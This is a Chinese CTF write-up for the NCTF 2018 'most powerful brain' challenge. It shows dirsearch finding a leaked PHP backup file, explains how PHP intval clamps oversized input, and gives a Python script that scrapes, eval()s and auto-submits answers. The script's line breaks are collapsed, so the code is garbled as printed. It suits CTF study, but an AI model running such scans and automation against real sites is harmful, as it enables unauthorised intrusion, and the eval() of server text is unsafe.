NSS [NCTF 2018]小绿草之最强大脑
题目要求我们输入一个位数>21的正数，带入表达式并且计算结果。
查看源码发现hint，有源码泄露。
拿dirsearch扫一下。扫到了一个备份文件。
python dirsearch.py -u http://node4.anna.nssctf.cn:28805/
访问/index.php.bak路由之后自动下载了源码。
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){session_destroy();echo '<script language="javascript"> alert("怎么没算对呢？"); window.history.back(-1); </script>';}else{if(intval(time())-$_SESSION['time']<1){session_destroy();echo '<script language="javascript"> alert("你手速太快啦，服务器承受不住!!!"); window.history.back(-1); </script> ';}if(intval(time())-$_SESSION['time']>2){session_destroy();echo '<script language="javascript"> alert("你算的太慢了少年！"); window.history.back(-1); </script> ';}echo '<script language="javascript"> alert("tql，算对了！！"); </script> ';$_SESSION['count']++;}
}
?>
前端js代码估计验证了我们输入的是不是整数以及是否大于21位
分析一下他的PHP源码：
1、通过POST把我们输入的传参进去。抓包可以发现，大于21位的是input，答案是ans。
2、input 的变量经过了 php 的intval处理
3、每次脚本发起请求的间隔要在 1-2 秒之间
4、算对的次数会累加，但是没说返回flag。
关于上面第2点：在php中，post，get传过来的参数都是string，而intval处理string强制类型转换的时候就不会溢出的，最大只能是最大值。32位系统：2147483647 64位系统：9223372036854775807所以的话无论我们传过去的数值是多少，最后都只会是一个固定值，题目是64位的，所以是9223372036854775807。
编写的脚本如下：
import requests
import timeurl = 'http://node4.anna.nssctf.cn:28805'
res = requests.session() #创建session对象，用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求，但是没有cookie，那就无法记录答题数量。
response = res.get(url) #发get包，获取题目
time.sleep(1) # 睡一秒for i in range(1, 99):math = ""resTest = response.text #获取返回包的内容for j in range(0, len(resTest)): #遍历获取网页数学表达式，这里建议用正则表达式（re）if resTest[j - 1] == ">" and resTest[j + 1] == "<" and resTest[j]!= "\n":math = math + resTest[j]# strip() 方法用于移除字符串头尾指定的字符（默认为空格或换行符）或字符序列math = math.strip('=') #去掉末尾等号math = math.strip('+') # 去掉开头加号num = eval(math) #计算数学表达式的值num += 9223372036854775807myData = { #构造的POST数据'ans': num,'input': "99999999999999999999999999999999999999999999999999999999999999999999999"}response = res.post(url, data=myData) #发post包，提交答案,并且获取返回包，获取下一个计算式print(response.text) #打印当前返回包的内容time.sleep(1) # 睡一秒if "ctf{" in response.text: #如果返回包里面有flagprint("Flaggggggggg: ", response.text)exit() # 退出当前程序，也可以break
